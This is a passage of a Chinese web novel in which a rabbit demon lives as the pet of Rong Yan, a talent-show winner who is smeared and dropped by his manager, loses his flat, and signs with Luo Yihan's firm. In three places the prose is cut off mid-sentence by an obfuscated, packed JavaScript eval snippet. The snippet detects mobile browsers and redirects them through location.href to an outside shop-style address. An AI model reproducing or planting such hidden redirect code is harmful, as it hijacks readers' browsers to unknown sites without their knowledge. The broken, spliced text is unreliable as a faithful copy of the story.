她委屈巴巴地撇了撇嘴,小声嘟囔:“我又没把他怎么样……” 5. 第五章 “RisingStar”决赛夜,舞台上的灯光比星河还要璀璨。 主持人紧握话筒,声情并茂地带着全场观众和108位学员一起回顾这三个月来的欢笑与泪水。 大屏幕上闪过一幕幕训练、淘汰、晋级的画面,台下不少粉丝已经哭成了一片。 八位出道的练习生依次落座,光芒加身。 许子轩因为“意外受伤”无缘总决赛,只能任由机会从指缝间溜走,现在还躺在医院,应该是睡不着的。 此刻,所有人目光的焦点是容彦。 第一名,C位出道。 他站在舞台中央,聚光灯追着他,将他整个人镀上一层柔和的光,自信、从容,嘴角噙着恰到好处的笑意,声音低沉而有力:“……我能有今天的成就,感谢大家的支持,接下来,我也会更加努力,不辜负大家的信任。” 话音落下,掌声如雷。 汐桐目不转睛地盯着舞台上的容彦。 他身上散发出的自信,像一团滚烫的火焰,猎猎燃烧,把整个场馆都照得亮堂堂的。 灯光在他身上跳跃流转,每一次律动都像在为他镀上一层细碎的金粉,耀眼得让人移不开眼。 她忽然觉得,容彦这个人,生来就该站在舞台上。 罗亦涵坐在台下,看着台上那道光芒万丈的身影,心里也浮现出同样的念头。 一个想法,悄然成形。 后勤人员一眼瞥见他,顿时激动得差点蹦起来,三步并作两步跑过来:“罗总!您回来得真是时候,我们还以为您忘了要给出道的练习生颁奖了呢!”他一边说一边热情地引路,“请,这边上场。” 罗亦涵没多说什么,微微颔首,抬步跟着工作人员往台上走去。 他的目光不动声色地掠过侧幕那个方向,汐桐正蹲在那儿,眼睛亮晶晶地盯着舞台,耳朵竖得笔直,浑然不觉自己已经暴露了。 罗亦涵唇角的弧度又深了几分。 灯光骤然聚焦,追着那道修长的身影。 罗亦涵一身剪裁精良的深色西装,步伐沉稳有力,每一步都像踩在节奏上。 他面上挂着恰到好处的微笑,不急不缓地走向舞台中央,一点也不输给台上的男idol。 全场安静了一瞬,随即爆发出更热烈的掌声。 他走到容彦面前,站定,四目相对,罗亦涵微微颔首,双手将那座沉甸甸的奖杯递了过去。 “恭喜。”声音不大,却清晰地传入每个人耳中。 容彦双手接过,微微躬身:“谢谢罗总。” 礼仪小姐递上话筒,主持人的声音适时响起:“接下来,有请罗总为我们说几句!” 罗亦涵接过话筒,目光掠过全场,最后在侧幕某个角落轻轻停留了一秒。 汐桐正蹲在那里,耳朵竖得老高,心跳莫名其妙地加速。 罗亦涵收回视线,对着台下微微一笑,声音低沉温和:“今晚的每一位选手都很优秀。但我想特别说的是——” 他侧头看向容彦,眼里带着真诚的欣赏,“有实力的人,不会被埋没。继续努力。” 简简单单几句话,却分量十足。 台下顿时窃窃私语起来,华辰集团的总经理,这是公开表态看好容彦? 汐桐愣了一下,随即嘴角翘了起来。 罗罗这家伙,还挺会说话的嘛。 她躲在阴影里,看着台上那个被光芒笼罩的男人,心里忽然涌起一股说不清的自豪感。 本妖眼光真不错! 赛后,主办方安排了庆功宴,容彦也在宴席上,非常热闹,每个人都在不停的交际,经纪人带着艺人试图结交更多人脉,为未来铺路。 他却一个人拿着一杯香槟,孤零零地坐在阳台,无人搭理,他的经纪人不知道在哪里。 容彦掏出手机拨给江川里,没人接,再拨,还是无人应答。 他皱了皱眉,正要再打一次,屏幕顶端忽然弹出一串微博热搜推送: #容彦人设崩塌#沸 #江川里正式解约容彦#爆 容彦的手指微微一顿,目光停留在那两条刺目的词条上。 他指尖一颤,点开了那条推送。 视频加载的几秒里,他的心跳快得像擂鼓。 画面亮起,江川里,那张他再熟悉不过的脸上,此刻写满了沉痛与失望。 闪光灯噼里啪啦地闪,记者们举着长枪短炮将他围得水泄不通。 “这五年来,我对容彦的栽培问心无愧。”江川里的声音通过话筒传出来,一字一句都像是提前准备好的,“他被黑、被骂、被质疑,我从来没有放弃过他。但我没想到——” 他顿了顿,叹了口气,像一位被伤透了心的长辈。 “他居然因为嫉妒,去伤害许子轩。这不是能力问题,是人品道德问题。” 镜头里,江川里摘下眼镜,揉了揉眉心,声音沙哑:“我宣布,即日起与容彦解除合作关系,永不合作。” 视频结束,黑屏上映出容彦自己的脸。 走廊里人来人往,有人瞥他一眼,小声嘀咕着快步走开。 容彦握着手机的指节微微泛白,站在原地,像一棵被风吹得摇摇欲坠的树。 永不合作。 这四个字像钉子一样,一下一下地钉进他心里。 手机又震了一下,是江川里发来的微信消息。 “容彦,你不适合走这条路。” 适合?什么叫不适合。 容彦盯着那行字,指腹悬在键盘上方,缓缓敲下一句:那你当初为什么要来找我? 发送。 红色感叹号。 对方已开启好友验证。 容彦盯着那个刺眼的感叹号,忽然笑了。嘴角勾起,笑意却冷得像冬天的风。 当初,他不过是个京都大学金融学的大二学生,整天泡在图书馆里算模型、做分析。 是江川里找到他,说他有明星相,说这条路多好多好,说他天生就该站在镜头前。 眼神真挚得像在说真心话。 那时候,他唯一的亲人,奶奶病重,那个从小把他拉扯大的老人躺在医院里,脸色蜡黄,瘦得像一张纸。 医药费像一座山,压得他喘不过气。 江川里说,只要你跟我签约,你奶奶的医药费,我可以提前预支给你。 为了奶奶,他点了头。 一年后,奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588896|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶还是走了。 但容彦心里一直记着这份恩情,不仅是江川里在他最绝望的时候伸出了手,更是这五年来,所有人都躲着他走,只有这个经纪人从没说过放弃。 现在,江川里说他不适合。 容彦把手机收起来,仰头看向灰蒙蒙的天。 雨不知道什么时候落了下来,起初是细细密密的,很快便砸成了豆大的雨点。 他如行尸走肉般走在路上,周围的行人撑着伞匆匆跑过,偶尔有人认出他,指指点点。 他没有伞,也没有躲。 大雨哗啦啦地浇下来,淋湿了他的头发,顺着脸颊往下淌。 衣服湿透了,贴在身上,又冷又沉。 可他像什么都感觉不到一样,只是机械地迈着步子,往家的方向走。 脸上的雨水混着什么别的液体,他分不清,也不想分清。 他只是走,一直走。 * 天都黑透了,雨还在哗啦啦地下,一点要停的意思都没有。 汐桐在屋里转来转去,尾巴都跟着焦躁地甩了好几下。 客厅、厨房、阳台,转了一圈又一圈,耳朵始终朝着门的方向竖着。 就在她忍不住要冲出去的时候,门锁“咔哒”一响。 汐桐立刻迎了上去。 门一开,潮湿的冷气裹着雨水味扑面而来。 容彦站在门口,从头到脚没有一处是干的。 头发湿透了,一绺一绺地贴在额前,水珠顺着发梢往下淌,沿着苍白的脸颊滑进领口。衬衫湿透了,颜色深了一大片,紧紧贴在身上,勾勒出他清瘦却结实的肩背线条。裤脚往下滴着水,鞋里估计也能养鱼了。 他整个人像从水里捞出来的一样,湿得彻彻底底,连睫毛上都挂着细密的水珠。 那张总是带着温柔笑意的脸,此刻苍白得没有一丝血色,嘴唇也泛着淡淡的青紫,眼底的红血丝清晰可见,像是狠狠哭过,又像是被人挖走了什么东西。 汐桐心里“咯噔”了一下,耳朵不自觉地往后压了压。 容彦低头看见她迎过来,眼底的阴翳飞快地藏了藏,嘴角费力地扯起一个弧度,声音沙哑得像被砂纸磨过:“饿了吧,乐乐。对不起啊,今天有点事耽误了,回来晚了。” 他蹲下身,伸手摸了摸她的头,指尖冰凉。然后就起身从冰箱里翻出新鲜的胡萝卜条和嫩青菜,放进她的小碗里,动作机械得像在执行程序。 做完这一切,他看了汐桐一眼,勉强笑了笑,便转身走进卧室,门在身后轻轻合上。 汐桐没动。 胡萝卜和青菜安安稳稳地躺在碗里,她瞥了一眼,一点胃口都没有。 回来之前,罗亦涵带她吃了顿像样的饭。烤肉。滋滋冒油的那种。她终于告别了吃了快两个月的兔子餐,现在肚子还撑得圆滚滚的。 她才不要吃这些呢。 可是…… 汐桐的目光不受控制地落在容彦紧闭的房门上。 她蹑手蹑脚地走过去,侧耳贴在门板上,里面安安静静的,什么声音都没有。没有翻身的窸窣声,没有手机的提示音,甚至没有呼吸声。 安静得不像一个活人在里面。 6. 第六章 汐桐在门口转了好几圈,爪子踩在地板上发出细碎的声响,毛茸茸的尾巴甩来甩去,纠结得整只兔都不太好了。 “我才不是关心他。”她小声嘟囔着,给自己做心理建设,“只是今天用了法力,该补一下了。对,补一下。” 说完,她伸出爪子,笨拙地扒开一条门缝,挤了进去。 房间里只开了一盏床头灯,昏黄的光线柔柔地铺开。 容彦趴在床上,脸深深地埋在被子里,连枕头都没垫,一动不动,连呼吸的起伏都几乎看不见。 湿透的衣服还穿在身上,被子都被洇湿了一大片。 汐桐吓了一跳,赶紧跳上床凑过去。毛茸茸的脑袋凑到他脸旁边,仔细听了听:还好,有气,还在呼吸。 只是昏睡过去了。 她松了口气,随即皱起眉头。这人怎么连湿衣服都不换就往床上倒?凡人那么脆弱的,淋了雨不赶紧弄干,会生病吧? 汐桐不满地“哼”了一声,小爪子在他肩膀上推了一下,容彦没反应,睡得像块石头。 “算了,看在你是我大补丸的份上。” 汐桐站定,闭上眼,体内微薄的灵力开始缓缓涌动。她将爪子搭在容彦身上,催动灵力一点一点地烘干他身上湿透的衣服。水分在灵力触及的地方蒸腾成细小的白雾,慢慢升腾、消散。 湿答答的衬衫一点一点变干,贴在他身上的冰凉布料渐渐恢复了正常的温度和柔软。 灵力像退潮的潮水一样从她身体里往外流,越来越稀薄。 好累。 汐桐咬紧牙关,耳朵都在微微发抖。她这三四成的灵力,今天在外面已经用掉不少了,隐身、教训许子轩、到处跑……现在又来烘干这么一个大活人,简直是掏空家底。 但她没有停。 听说凡人都很脆弱,淋了雨会发烧,发烧会烧坏脑子,烧坏脑子就不能给她提供灵气了。 她才不是心疼他呢。 这叫舍小得大。保住她的大补丸,以后有的是灵气慢慢补回来。 划算。 非常划算。 汐桐在心里给自己疯狂洗脑,终于在灵力彻底见底之前,把容彦最后一块衣角也烘干了。 她长出一口气,浑身像被抽空了一样软绵绵的,连抬爪子的力气都没有了。 眼皮沉得像灌了铅,眼前的东西开始出现重影。 汐桐迷迷糊糊地倒下去,小小的身体蜷成一团,就那样挨着容彦的胳膊,窝在柔软的枕边,彻底睡了过去。 毛茸茸的尾巴尖还不自觉地搭在了他的手腕上。 窗外,雨还在下。 房间里,一人一兔,安安静静地睡着。 * 第二天清晨,阳光从窗帘缝隙漏进来,落在容彦的眼皮上。 他缓缓睁开眼,意识回笼的瞬间,忽然愣了一下。 浑身清爽,头不疼,嗓子不干,甚至比平时醒来的感觉还要好。 他记得自己昨晚是淋着雨走回来的。 从头湿到脚,冷得骨头都在打颤。居然没感冒? 容彦翻了个身,望着天花板,嘴角牵起一个自嘲的弧度。看来天天练舞,倒是把体质练上来了。 可身体好了,心却空了一块。 他现在成了自由人,反而不知道该往哪儿走了。没有经纪人,没有通告,甚至没有一个需要他准点去报到的行程。 手机也不知道几点钟了,他伸手往枕头边摸了摸,没摸到手机,反倒触到一团毛茸茸、暖烘烘的东西。 容彦偏头看去,嘴角不自觉地软了下来。 “乐乐?” 汐桐蜷成一团,窝在他的枕头旁边,毛茸茸的小肚子随着呼吸一鼓一鼓的,睡得正香。 容彦忍不住伸出一根手指,轻轻戳了戳她的背。汐桐在梦里蹬了蹬后腿,耳朵也跟着抖了一下,嘟囔似的“咕”了一声,翻个身继续睡。 容彦被她这副模样逗笑了,眼底的阴霾被那毛茸茸的小身板驱散了几分。 他伸出手,极轻地摸了摸她的脑袋,指尖从耳朵尖顺到背上,一下,又一下。 “还是你最好。”他低声说,像是说给汐桐听,又像是说给自己听。 无论怎样,日子总要过下去的。 容彦深吸一口气,翻过身去找手机。按了两下电源键,屏幕纹丝不动,黑得像块砖。他这才想起来昨晚回来手机就没电自动关机了。 他撑着身子坐起来,从床头柜里翻出充电线插上。屏幕亮起,充电动画跳了出来。 等了几分钟,手机终于开机。 信号刚恢复,一个陌生号码就打了进来,屏幕亮得刺眼。 容彦看着那串数字,犹豫了一瞬,还是按下了接听。 电话那头,一个从未听过的女声带着笑意,不紧不慢地开了口:“容彦先生,听说你现在……没有经纪人了?” * 容彦站在华辰大厦门口,仰头望了望这栋高耸入云的建筑。玻璃幕墙在阳光下折射出冷冽的光,整栋楼像一把利剑直插天际,气派得让人不敢靠近。 以前他路过这里无数次,每次都是匆匆低头走过。十八线小演员,连这栋楼的保安都不会多看他一眼。别说进来了,就是在大门口多站一会儿,都觉得浑身不自在。 不是自卑,是知道自己的位置。 圈子里的人心里都有一杆秤:你什么咖位,就该待在什么地方。华辰大厦,不是他有资格踏足的地方。 可今天,他站在这儿了。 容彦收回目光,推开旋转门走了进去。 电梯一路攀升,停在36层。 门开的瞬间,一个干练的女人已经等在电梯口。利落的及肩短发,剪裁精准的黑色西装裙,脚踩一双尖头细跟,整个人像一把出鞘的刀,干脆、锋利、不多一分赘余。 她微微颔首,伸出手:“容彦老师你好,我是电话里联系你的彭彤,叫我小彭就好。” 容彦与她握了握手,力道适中,语气温和:“叫我小容就好。” 彭彤笑了一下,没有接这个话。她转身做了个“请”的手势,步伐干脆利落:“罗总已经在等了,这边请。” 容彦跟在她身后,皮鞋踩在地毯上无声无息。走廊两侧是磨砂玻璃隔出的办公区,隐约能看见里面人影攒动,却听不见什么声响。安静、高效、一丝不苟。 他的思绪飘回今天早上那通电话。 “容彦先生,听说你现在……没有经纪人了?” 电话那头的女声不紧不慢,像在说一件稀松平常的事。 “要不要考虑来我们华辰?罗总很看好你。” 当时他握着手机,沉默了整整三秒。 看好他? 容彦在心里把这三个字翻来覆去地嚼了几遍。他现在什么处境,自己比谁都清楚,全网黑,人设崩塌,刚被经纪人公开“处刑”,没有作品,没有口碑,身上还背着一口“人品有问题”的锅。哪个公司不是唯利是图?华辰这么大的企业,会看上一个浑身黑料的十八线? 哪有天上掉馅饼的好事。 多半是坑。 可他还是来了。 不是因为信,是因为他不知道还能去哪儿。没有经纪人,没有通告,连明天的日程都是一片空白。反正闲着也是闲着,来听听,又不会少块肉。 最多,再被利用一次呗。 他习惯了。 “罗总, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588897|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容彦老师来了。” 彭彤的声音打断了他的思绪。她侧身推开办公室的门,做了个“请”的手势,自己并没有跟进去。 容彦迈步走进,门在身后轻轻合上。 这间办公室比他想象的要低调。没有夸张的摆设,没有彰显身份的装饰,大片的留白和深色木质家具,沉稳、克制,透着一种不动声色的底气。 罗亦涵坐在沙发上,见他进来,没有起身,只是微微抬手示意:“坐。” 容彦在他对面的单人沙发上坐下,腰背挺得笔直。 罗亦涵的目光落在他身上,不疾不徐地打量着。从眉眼到轮廓,从肩线到气质,像在审视一件器物的成色。 容彦没有躲闪,也没有故作轻松。他就那样坦然地迎着那道目光,不卑不亢,不慌不忙。眼皮都没多眨一下。 罗亦涵在心里给了个评价:这块料,确实不错。 他看过“RisingStar”的舞台,知道容彦的业务能力。但镜头前和面对面是两回事,真人比屏幕上更有质感,眉眼间那股干净又倔强的劲儿,是滤镜给不了的。 是块宝玉,不该被埋没。 罗亦涵想起汐桐昨晚叉着腰在他面前嚷嚷“容彦是我罩着的”那副护犊子的模样,嘴角浮起一丝若有若无的笑意。 他收回视线,端起面前的茶杯抿了一口,再抬眼时,目光忽然凝住了。 不对。 面对面坐着,那股灵力…… 罗亦涵垂眸,不动声色地深吸一口气。充沛的、温润的、带着草木气息的灵力,正源源不断地从对面这个男人身上溢出来。不是刻意释放,而是那种天生自带的、浑然不觉的、像呼吸一样自然的灵力流转。 通灵乾雨。 罗亦涵在心里把这四个字默念了一遍,眼底掠过一丝极快的亮光。 真的,得来全不费工夫。 当初他把沉睡的汐桐托付给程玄,就是因为发现汐桐体内的“赤轮”出现了裂痕。赤轮属火,是汐桐妖力的本源。火性暴烈,破损之后必须用属木的灵力来温养修复。五行之中,木生火,这是天地法则,谁也改不了。 他寻遍了人间,动用了所有能用的力量,就是为了找到传说中的“通灵乾雨”,一块据说拥有源源不断木属性灵力的宝玉。 找了两百年,一无所获。 没想到,桐桐还比他先找到,真是踏破铁鞋无觅处。 罗亦涵放下茶杯,指尖在膝盖上轻轻叩了两下,脑子飞速运转。 以汐桐现在的情况,把她留在容彦身边,反而比带回去更好。容彦身上的灵力纯粹、稳定,不需要刻意催动就能自然滋养汐桐的元神。这种日积月累的温养,比任何灵丹妙药都管用。 当然,他也不会让容彦白干。 好处嘛,罗亦涵微微眯了眯眼。 他容彦,一定会红。 他调查过,通灵乾雨的灵力会随宿主情绪的波动而变化。喜悦、满足、被认可,这些正向的情绪能让灵力更加充沛。灵力越充沛,汐桐恢复得就越快。 而让一个演员红起来,最直接的方式,不就是让他站在最高的舞台上,被所有人看见、认可、追捧吗? 一举三得。 罗亦涵收回思绪,看向对面的容彦,语气平淡得像在聊天气:“你的情况,我大致了解。” 容彦没有接话,安静地看着他,等着下文。 罗亦涵身体微微前倾,那双总是含着笑意的眼睛此刻多了几分认真。他嘴角弯起一个恰到好处的弧度,不是应酬式的微笑,而是一种笃定的、让人莫名想要相信的表情。 “你很有潜力。”他说,字句清晰,“跟着我,不出五年,你一定会大红大紫。” 7. 第七章 办公室里安静了一瞬。 容彦面上没有什么表情变化,连眉头都没有动一下。他只是安静地坐在那里,像是在听一句再普通不过的话。 但他的手出卖了他。 搁在膝盖上的右手,不自觉地攥成了拳头。骨节微微泛白,指尖掐进掌心里,像是在极力压着什么翻涌的东西。 那个曾经对他说“你适合走这条路”的人,亲口说他“不适合”。那个曾经拉他一把的人,转过身就捅了他最狠的一刀。他被全网嘲,被所有人抛弃,站在瓢泼大雨里连一把伞都没有。 可现在,有人在同样的地方,对他说,你很有潜力。 你会红。 容彦垂下眼,睫毛轻轻颤了一下。他没有立刻回答,也没有激动地道谢。他只是沉默着,像是在确认什么,又像是在消化什么。 罗亦涵也不急,端起茶杯慢慢吹了吹浮沫,安安静静地等着。 窗外,阳光正好。 容彦抬起眼,嘴唇微动,正要开口—— 办公室的门忽然被轻轻叩响,三声,不急不缓。 彭彤的声音从门外传来,语气里带着一丝微妙的紧绷:“罗总,程玄先生来了。他说……有急事找您。” 罗亦涵端着茶杯的手微微一顿,笑意在唇边凝了一瞬,随即恢复如常。 他看向容彦,语气依旧温和从容:“考虑一下,不着急。” 程玄。 那个名字在空气里轻轻一落,像一颗石子投进了平静的湖面。 容彦不知道那是谁。 但罗亦涵眼底那稍纵即逝的波纹,他看见了。 * 容彦从华辰大厦出来的时候,阳光正好。 可他没有打车,也没有坐地铁,就那么漫无目的地沿着马路边走边晃。脑子里乱糟糟的,罗亦涵那句“考虑一下,不着急”在耳边来回转,像一只赶不走的苍蝇。 考虑? 他苦笑着踢了一脚路边的小石子。他有什么好考虑的? 但越是这样,他越觉得不踏实。这世上哪有无缘无故的好?他容彦活了二十五年,早就不信天上掉馅饼这种事了。更何况,他现在浑身上下写满了“麻烦”两个字,哪个公司沾上他不是烫手山芋? 可他确实需要一个去处。 正想着,手机响了。来电显示:李姐。 是他现在租的那间房子的房东,四十来岁的热心大姐,平时逢年过节还会给他送点自己做的腊肉香肠,关系一直不错。 “喂,李姐?”容彦接起电话,语气还算轻松。 “小容啊——”李姐的声音有些犹豫,吞吞吐吐的,像是斟酌了很久才开口,“我们这么多年交情了,我也不跟你绕弯子。你……明天搬走吧。” 容彦脚步一顿,停在了一家奶茶店门口。 “为什么?”他下意识地反问,声音里的笑意散了大半,“李姐,我房租还没到期啊,不是说到下个月中……” “我知道,我知道。”李姐叹了口气,语气里带着几分无奈和歉意,“可是小容啊,你最近那个事情闹得太大了。我家里人都看到了新闻,说什么的都有……他们不放心我把房子租给你,说是影响不好。我也是没办法,家里人天天跟我吵……” 容彦没有说话。 他张了张嘴,想说“那不是我做的”,可话到嘴边又咽了回去。解释给谁听呢?李姐又不是法官,她只是想把房子租出去,平平安安地收租过日子。他的清白,跟人家有什么关系? “剩下的钱我退给你。”李姐见他沉默,又补了一句,语气软了些,“小容,我也是看着你这些年不容易,但……你也别怪我,大家都是讨生活的。” “嗯。”容彦的声音很轻,轻到差点被风吹散,“我知道了,李姐。谢谢你这些年照顾我。” 挂了电话,他站在原地,盯着手机屏幕看了好一会儿。 屏幕上映出他自己的脸,头发被风吹得有些乱,眼底带着淡淡的青黑,嘴角抿成一条线。 他忽然觉得有点好笑。 今天早上,罗亦涵坐在他对面,信誓旦旦,“你很有潜力,跟着我,不出五年你会大红大紫”。然后下午,他的房东就打电话让他滚蛋。 一个说他能上天堂,一个说他连住的地方都没了。 哪个才是真的? 容彦把手机揣回兜里,抬头看了看天。太阳不知道什么时候躲进了云层后面,天色灰蒙蒙的,像要下雨,又像憋着什么没下。 他站在奶茶店门口想了很久,久到店员出来问他“先生需要点什么”,他才回过神来,摇了摇头,转身走了。 他知道自己该怎么选了。 不是选更好的,是选唯一剩下的。 他掏出手机,翻到彭彤早上打来的那个号码,拨了过去。 “你好,彭小姐,”容彦的声音很平静,平静得像一潭死水,“我想问一下,罗总现在有空吗?我……想跟他签合同。” 电话那头顿了一下,随即传来彭彤干练的声音:“容彦老师,合同在我这里。你想签的话,现在就可以签。” 容彦一愣。 “罗总已经签过了,”彭彤补充道,语气里听不出什么情绪,像是在陈述一个事实,“甲方已经盖章,就等您了。” 容彦沉默了两秒,忽然笑了。 那笑容里没有惊喜,也没有感动,只有一种“果然如此”的释然。罗亦涵从一开始就笃定他会签,笃定到提前把公章都盖好了。这不是信任,是算准了他无处可去。 而他,也确实无处可去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588898|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好,我现在过去。”他说。 再次走进华辰大厦的时候,容彦的心情和上午截然不同。上午是“来看一看”,现在是“来卖身”。他自嘲地弯了弯嘴角,跟着彭彤走进一间小会议室。 合同已经摆在桌上了,薄薄的几页纸,却像是压了千斤重。 容彦坐下来,一页一页地翻,一条一条地看,看得比高考审题还认真。 条件出乎意料的好—— 由华辰罗总罗亦涵亲自带。不是挂名,是真正的一对一。 分成比例:公司业务项目五五分;非公司业务(比如容彦自己接的代言、商演),三七分,他拿七。 合同期限:五年。 承诺重点培养,配备专业团队,第一年内进入三四线,三年内冲上一线,五年内成为顶流。 容彦把合同翻来覆去看了两遍,确认自己没有看错。 他不是什么都不知道的愣头青。圈里的分成规矩他门儿清。 刚入行的新人,最标准的待遇是二八分,公司拿八,艺人拿二。就算是有一定基础的腰部艺人,能谈到三七分就算不错了。 他呢?不是新人,却比新人还难带。全网黑,没人设,没作品,刚被前经纪人公开“处刑”,浑身上下找不出一个商业价值。按常理,这种艺人倒贴钱都没人要。 可罗亦涵给了他一个中腰部艺人的待遇,甚至更好。 五年顶流计划,重点培养团队,一对一带教。 这些字眼写在合同里,像一个个不太真实的梦。 容彦把合同合上,指尖在封面轻轻叩了两下。 他没有什么好纠结的。 光脚的不怕穿鞋的。他现在连下个月的房租都交不起了,银行卡里的余额说出来都怕人笑话。 江川里和他签的是二八分,他拿二。本来通告就少得可怜,赚的那点钱,一大部分填了奶奶生病时欠下的窟窿,剩下的刚够吃饭交租。五年下来,别说积蓄了,能活着已经是奇迹。 现在他连住的地方都要没了。 还有什么好犹豫的? “笔呢?”容彦抬起头,对彭彤笑了笑。 彭彤递过一支签字笔。容彦拧开笔帽,翻到最后一页,刷刷地签下了自己的名字。 一笔一划,端端正正,像他这个人一样,认真到骨子里。 “合作愉快。”他站起身,伸出手。 彭彤与他握了握,依旧是那副公事公办的表情:“欢迎加入华辰,容彦老师。” 容彦走出华辰大厦的时候,天色已经暗了。路灯一盏一盏地亮起来,把整条街照得通明。 他深深地吸了一口气,又缓缓吐出。 签了。 不管前面是悬崖还是坦途,他已经把脚迈出去了。 8. 第八章 回到出租屋的时候,门一开,汐桐正蹲在玄关处打哈欠。圆滚滚的兔子嘴巴张得大大的,露出两颗小门牙,两只耳朵微微向后压着,整只兔看起来像一团刚睡醒的毛球。 听到动静,她耳朵倏地竖起来,红棕色的眼睛滴溜溜地转向门口,然后迈着小碎步迎了上来。 “乐乐!”容彦弯腰一把捞起她,举到眼前,眉眼间是这阵子难得的明亮,“伯乐真的看上我了!我有新公司了!有人愿意签我了!” 他声音里带着藏不住的激动,像一个溺水的人终于抓到了一根浮木。不是那种“我要红了”的狂喜,而是“未来不是虚无缥缈”的如释重负。 汐桐被他举在半空中,四条腿胡乱蹬了几下,心里其实比他还高兴。早在她回来之前,罗亦涵就已经通过他们之间的特殊感应给她传了消息。 容彦签了,以后就是一家人了。 汐桐“咕咕咕”地叫了几声,小爪子在空中挥了挥,翻译成人话大概是:“这算什么?跟着本妖,能让你过苦日子?这才哪到哪!” 可惜容彦听不懂。 他低下头,看着怀里“咕咕咕”叫个不停的小兔子,嘴角越翘越高:“乐乐,你是不是也在替我高兴?” 然后他捧起汐桐的兔头,“啵”地一口亲了上去。 汐桐僵住了。 红棕色的眼睛瞪得溜圆,瞳孔骤然放大,像两颗熟透的樱桃。被亲过的那块毛好像着了火,热度从头顶一路烧到耳尖,再蔓延到整张脸。可惜她满脸是毛,看不出来脸红,但那两只耳朵尖尖处透出的粉红色,是怎么也藏不住的。 她“咕”的一声炸毛,四条腿猛地一蹬,从容彦怀里弹射出去,落地后头也不回地蹿进了卧室。 兔子尾巴在门口一闪而过,连影子都带着几分恼羞成怒的味道。 容彦愣在原地,低头看了看自己空荡荡的双手,又看了看卧室的方向,忍不住笑出了声。 “这小东西,还害羞了。” 他弯下腰,把汐桐的食盆洗干净,换上新鲜的胡萝卜条和青菜叶,放在她常待的飘窗旁边。然后转身开始收拾行李。 汐桐不知道什么时候又从卧室里探出了脑袋,耳朵半竖不竖地歪着,两只圆溜溜的眼睛一眨不眨地盯着容彦的背影。 他先把衣柜里的衣服一件件拿出来,叠好,码进行李箱。没几件,几件卫衣,两条牛仔裤,两件外套,加一块儿连行李箱的一半都没塞满。 然后是书。床头柜上摞着几本表演理论的书,页角都翻卷了,看得出被翻阅过很多次。他一本本码进去,压在衣服上面。 然后是洗漱用品,然后是那盆汐桐从来不肯用、但容彦每天都坚持给她换水的兔子专用饮水器。 最后,他从抽屉里翻出一个旧相框,用毛巾仔细裹好,小心翼翼地放进箱子夹层里。 汐桐眼尖,瞥见了那张照片,一位头发花白的老太太,笑眯眯地搂着一个十来岁的少年,两人站在一栋老旧的居民楼前,阳光很暖,笑得也很暖。 那是容彦的奶奶。 汐桐默默地把目光移开,假装自己在研究窗帘的花纹。 收拾完,行李箱堪堪装满,拉上拉链,就是全部家当。 容彦环顾了一圈这个住了两年的出租屋,三十来平,不大,但被他收拾得干净整洁。墙角的绿萝是他从花鸟市场花十块钱买的,现在已经爬了半面墙。 要走了。 他说不上不舍,但心里多多少少有些酸。这里是他在这个城市里第一个真正意义上的“家”,不是宿舍,不是借住,是用自己挣的钱租下来、自己一点点布置起来的家。 可他连这个家都保不住了。 容彦深吸一口气,把最后一丝矫情压下去,蹲下身,朝躲在门框后面的汐桐伸出手:“乐乐,过来。” 汐桐犹豫了一下,迈着矜持的小步子走了过去。 容彦一把将她抱起,下巴轻轻抵在她毛茸茸的头顶上,声音低低的,带着一种尘埃落定后的平静:“乐乐,我们要去新家了。” 汐桐没有挣扎。 她乖乖地窝在他怀里,耳朵微微向后贴着,难得地没有“咕咕”叫。 新家在华辰大厦附近的一个高档公寓小区,步行到公司只需要十分钟。 容彦站在门口,愣了好一会儿才敢迈进去。 一室一厅,精装修。客厅朝南,阳光铺满了整面落地窗。卧室不大,但衣柜、床、床头柜一应俱全,床单被褥都是新的,叠得整整齐齐,还带着洗衣液的清香。厨房的灶台是嵌入式燃气灶,抽油烟机、微波炉、冰箱全是嵌入式的一体化设计,连锅碗瓢盆都配齐了。 容彦把行李箱放下,在屋子里转了一圈,脑子里只有一个念头:这种地段的电梯公寓,像他这样的一室一厅,月租金少说得八千起步。 而他,免费住。 合同上只写了一句话:公司提供艺人住宿,无需额外支付费用。 容彦站在落地窗前,看着窗外万家灯火,忽然觉得鼻子有点酸。不是因为感动,是因为太不真实了。今天早上,他还在为下个月的房租发愁,被房东赶着搬家,银行卡余额不够吃一顿像样的饭。现在他站在这里,住着以前想都不敢想的房子,签了一份以前想都不敢想的合同。 他的生活,好像真的要开始好起来了。 容彦深吸一口气,把那些翻涌的情绪压了回去,挽起袖子走进厨房。 